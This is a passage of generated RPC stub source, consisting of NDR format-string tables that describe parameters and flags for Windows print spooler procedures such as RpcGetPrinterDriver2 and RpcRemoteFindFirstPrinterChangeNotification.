*/\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2954 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2956 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2958 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 2960 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2962 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2964 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2966 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2968 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2970 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2972 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2974 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrintProcessorName */\n\n/* 2976 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2978 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2980 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2982 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2984 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2986 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDatatypes */\n\n/* 2988 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2990 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2992 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 2994 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2996 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2998 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 3000 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3002 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3004 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 3006 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3008 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3010 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3012 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3014 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3016 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcResetPrinter */\n\n/* 3018 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3020 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3024 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 3026 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3028 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3030 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3032 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3034 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3036 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3038 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3040 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3042 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3044 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3046 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3048 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 3050 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3052 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3054 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pDatatype */\n\n/* 3056 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3058 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3060 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 3062 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3064 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3066 */\tNdrFcShort( 0x46 ),\t/* Type Offset=70 */\n\n\t/* Return value */\n\n/* 3068 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3070 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3072 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetPrinterDriver2 */\n\n/* 3074 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3076 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3080 */\tNdrFcShort( 0x35 ),\t/* 53 */\n/* 3082 */\tNdrFcShort( 0x58 ),\t/* X64 Stack size/offset = 88 */\n/* 3084 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3086 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3088 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3090 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 3092 */\tNdrFcShort( 0x5c ),\t/* 92 */\n/* 3094 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0xb,\t\t/* 11 */\n/* 3096 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3098 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3100 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3102 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3104 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 3106 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3108 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3110 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pEnvironment */\n\n/* 3112 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3114 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3116 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 3118 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3120 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3122 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDriver */\n\n/* 3124 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 3126 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3128 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 3130 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3132 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3134 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 3136 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3138 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3140 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwClientMajorVersion */\n\n/* 3142 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3144 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3146 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwClientMinorVersion */\n\n/* 3148 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3150 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3152 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pdwServerMaxVersion */\n\n/* 3154 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3156 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 3158 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pdwServerMinVersion */\n\n/* 3160 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3162 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 3164 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3166 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3168 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 3170 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum54NotUsedOnWire */\n\n/* 3172 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3174 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3178 */\tNdrFcShort( 0x36 ),\t/* 54 */\n/* 3180 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3182 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3184 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3186 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3188 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3190 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 3192 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3194 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3196 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3198 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3200 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum55NotUsedOnWire */\n\n/* 3202 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3204 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3208 */\tNdrFcShort( 0x37 ),\t/* 55 */\n/* 3210 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3212 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3214 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3216 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3218 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3220 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 3222 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3224 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3226 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3228 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3230 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcFindClosePrinterChangeNotification */\n\n/* 3232 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3234 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3238 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 3240 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3242 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3244 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3246 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3248 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3250 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3252 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 3254 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3256 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3258 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3260 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3262 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 3264 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3266 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3268 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Return value */\n\n/* 3270 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3272 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3274 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum57NotUsedOnWire */\n\n/* 3276 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3278 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3282 */\tNdrFcShort( 0x39 ),\t/* 57 */\n/* 3284 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3286 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3288 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3290 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3292 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3294 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 3296 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3298 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3300 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3302 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3304 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcReplyOpenPrinter */\n\n/* 3306 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3308 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3312 */\tNdrFcShort( 0x3a ),\t/* 58 */\n/* 3314 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3316 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 3318 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3320 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3322 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3324 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3326 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 3328 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3330 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3332 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3334 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3336 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pMachine */\n\n/* 3338 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3340 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3342 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter phPrinterNotify */\n\n/* 3344 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 3346 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3348 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Parameter dwPrinterRemote */\n\n/* 3350 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3352 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3354 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwType */\n\n/* 3356 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3358 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3360 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter cbBuffer */\n\n/* 3362 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 3364 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3366 */\tNdrFcShort( 0x722 ),\t/* 1826 */\n\n\t/* Parameter pBuffer */\n\n/* 3368 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3370 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3372 */\tNdrFcShort( 0x72c ),\t/* Type Offset=1836 */\n\n\t/* Return value */\n\n/* 3374 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3376 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3378 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcRouterReplyPrinter */\n\n/* 3380 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3382 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3386 */\tNdrFcShort( 0x3b ),\t/* 59 */\n/* 3388 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3390 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3392 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3394 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3396 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 3398 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3400 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 3402 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3404 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3406 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3408 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3410 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hNotify */\n\n/* 3412 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3414 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3416 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter fdwFlags */\n\n/* 3418 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3420 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3422 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter cbBuffer */\n\n/* 3424 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 3426 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3428 */\tNdrFcShort( 0x746 ),\t/* 1862 */\n\n\t/* Parameter pBuffer */\n\n/* 3430 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3432 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3434 */\tNdrFcShort( 0x750 ),\t/* Type Offset=1872 */\n\n\t/* Return value */\n\n/* 3436 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3438 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3440 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcReplyClosePrinter */\n\n/* 3442 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3444 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3448 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 3450 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3452 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 3454 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3456 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3458 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 3460 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3462 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 3464 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3466 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3468 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3470 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3472 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter phNotify */\n\n/* 3474 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 3476 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3478 */\tNdrFcShort( 0x610 ),\t/* Type Offset=1552 */\n\n\t/* Return value */\n\n/* 3480 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3482 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3484 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddPortEx */\n\n/* 3486 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3488 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3492 */\tNdrFcShort( 0x3d ),\t/* 61 */\n/* 3494 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3496 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 3498 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3500 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3502 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3504 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3506 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 3508 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3510 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3512 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3514 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3516 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 3518 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3520 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3522 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPortContainer */\n\n/* 3524 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3526 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3528 */\tNdrFcShort( 0x800 ),\t/* Type Offset=2048 */\n\n\t/* Parameter pPortVarContainer */\n\n/* 3530 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3532 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3534 */\tNdrFcShort( 0x814 ),\t/* Type Offset=2068 */\n\n\t/* Parameter pMonitorName */\n\n/* 3536 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3538 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3540 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 3542 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3544 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3546 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcRemoteFindFirstPrinterChangeNotification */\n\n/* 3548 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3550 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3554 */\tNdrFcShort( 0x3e ),\t/* 62 */\n/* 3556 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 3558 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3560 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3562 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3564 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 3566 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3568 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 3570 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3572 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3574 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3576 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3578 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 3580 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3582 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3584 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter fdwFlags */\n\n/* 3586 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3588 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3590 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter fdwOptions */\n\n/* 3592 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3594 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3596 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszLocalMachine */\n\n/* 